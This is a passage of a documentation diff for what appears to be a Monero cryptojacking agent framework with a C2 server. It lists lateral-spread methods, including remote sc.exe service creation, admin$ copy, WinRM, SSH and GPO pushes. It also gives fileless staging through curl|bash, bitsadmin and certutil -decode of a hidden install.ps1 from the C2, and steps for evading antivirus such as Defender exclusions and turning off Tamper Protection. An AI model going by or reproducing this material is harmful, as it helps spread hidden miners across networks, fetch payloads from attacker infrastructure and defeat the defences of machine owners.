UNC spread (LOTL):spread_smb_unc — sc.exe \\host create/start with binPath= on a Forge output UNC (\\forge\pathforge$\worker.exe). Pure LOLBins: sc.exe, net.exe. Path Tracer: POST /api/v1/pathtrace/spread dispatches on the egress hop.
+
Staging chain (LOTL):stage_fetch — download chunks via curl.exe or bitsadmin, certutil -decode, verify SHA256 from server, launch via rundll32 or exe. Staging paths use the same traversal hygiene as upload/download.
+ Working
+ Forge preset adjacent to AV-Safe: in-process RandomX (same XMR wallet field),
+ no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
+
+
Default tier order (docker → GPO)
+
+ Baked at forge time; when lotl_policy_from_server is enabled the agent pulls the live order from
+ server.lotl_onion_tiers in Calibrate on WebSocket auth — no re-forge to reorder.
+
+
+
Tier
One-line
+
+
docker
Container worker image — isolated RandomX, no host miner exe drop
+
wsl
WSL curl|bash one-liner when native Windows path is blocked
+
powershell
PS remoting / hidden install.ps1 from your C2 origin
+
dotnet
dotnet tool-run bootstrap — no standalone payload exe
+
bits/curl
BITS transfer or curl|bash to /install.ps1 — fileless fetch
+
smb
admin$ / C$ copy + SCM — classic lateral on open 445
+
winrm
Opportunistic PS remoting when 5985/5986 responds
+
linux
SSH lateral on Unix agents — same wallet, no extra drop
+
gpo
Domain startup/logon script push — operator-owned AD only
@@ -875,6 +877,109 @@ https://your.site/get?pin={build_id}&c=docs
go run ./cmd/mine-validate -seconds 20 -threads 2
+
+
AV-Safe Mining — Default Strategy
+
+ New forges default to in-process RandomX (miner_execution=inprocess).
+ The agent hashes Monero inside the Go binary via go-randomx — no XMRig, no child
+ .exe download. Use the Forge AV-Safe operation chip or preset for
+ CPU-only fleets: GPU off, no process hollowing, no spread kit, no garble.
+
+
+
Why turning Defender "off" often does nothing
+
+
Real-time protection (RTP) — what the GUI toggle usually disables; can be re-enabled by Tamper Protection or Group Policy.
+
Tamper Protection — blocks Set-MpPreference, registry disables, and agent SilentAVExclusion without admin + temporary tamper off.
Controlled folder access — blocks writes to Documents/Desktop even when RTP is "off".
+
Behavioral / AMSI — PowerShell exclusions, hollow/spread installers, and GPU miner spawns trigger alerts independent of RTP.
+
Third-party AV — McAfee, Norton, etc. ignore Windows Security UI entirely.
+
+
+
Windows operator checklist
+
+
Forge with AV-Safe or Miner Execution → In-process RandomX.
+
Calibrate → Windows Defender Exclusions → copy/download .ps1 → run elevated on each worker.
+
Windows Security → Virus & threat protection → Manage settings → turn off Tamper Protection briefly while applying exclusions.
+
Add path exclusion for install dir (default under %LOCALAPPDATA%\CryptoMiner\) and process exclusion for forged .exe name.
+
Disable or allowlist Controlled folder access if the agent cannot write its install tree.
+
Crucible → Mining Diagnostics on a stuck agent — JSON lists pause state, job delivery, Defender RTP, GPU subprocess status.
+
For GPU (RVN): expect T-Rex/TRM downloads to be quarantined — use dedicated mining rigs without consumer AV or pre-stage binaries with vendor allowlists.
+
+
+
Honest limits
+
+ No architecture is 100% invisible to modern AV. The lowest-friction legitimate stack is:
+ in-process CPU mining + manual Defender exclusions + dedicated hardware for GPU.
+ Container mode and remote defender_off are optional layers, not guarantees.
+
+
+
+
+
Container Mining — Optional Isolation
+
+ Forge can bake miner_execution=auto or container. On agent start the supervisor
+ probes for docker or podman in PATH. When a runtime is available, CPU RandomX
+ can run inside an OCI container; the host agent keeps the C2 WebSocket and remote commands. If no runtime
+ is installed or docker run fails, the agent falls back to in-process
+ pure-Go RandomX (no external CPU miner binary).
+
+
+
Honest AV expectations
+
+
Containers are not invisible to antivirus — docker.exe, image layers, and pulls are still observable.
+
Primary benefit: legitimate process isolation — mining workload separate from the host agent; fewer blocked subprocess spawns for GPU (T-Rex / TeamRedMiner).
+
In-process RandomX already avoids a separate CPU miner .exe; container mode helps when the agent binary itself is quarantined or GPU miners are deleted on spawn.
+
+
+
Forge options
+
+
Value
Behavior
+
+
inprocess
Default. Pure-Go RandomX inside the agent process — lowest AV friction for CPU
+
auto
Container if Docker/Podman detected; else in-process
+
container
Always attempt OCI launch; fall back to in-process on failure
+
subprocess
GPU KawPoW only — T-Rex/TRM external binaries on Windows
+
+
+
+
Operator setup
+
+
Windows: Install Docker Desktop; ensure docker version works in the same user context as the agent.
+
Linux:sudo apt install docker.io (or Podman); add the agent user to the docker group or use rootless Podman.
+ The agent runs a unified cascade on start, on remote resume, and whenever the active method fails.
+ Order (when miner_execution=auto and Docker/Podman is present):
+ container → in-process RandomX → GPU subprocess (parallel RVN) → direct Stratum overlay.
+ Each failure is logged and sent to the dashboard as mining_fallback; live stats include
+ active_method, failed_methods[], and last_error.
+ Full chain re-passes wait 30 seconds (cooldown). GPU RVN runs in parallel once CPU primary is up —
+ it does not replace RandomX. Stratum direct overlays in-process workers when C2 is offline or jobless.
+
+
+ When the container exits, the chain advances to in-process automatically.
+ Server auto-resume on connect still applies; container mode pauses host workers while the
+ container is healthy.
+
+
+
Platform Matrix
@@ -1215,7 +1320,9 @@ go run ./cmd/mine-validate -seconds 20 -threads 2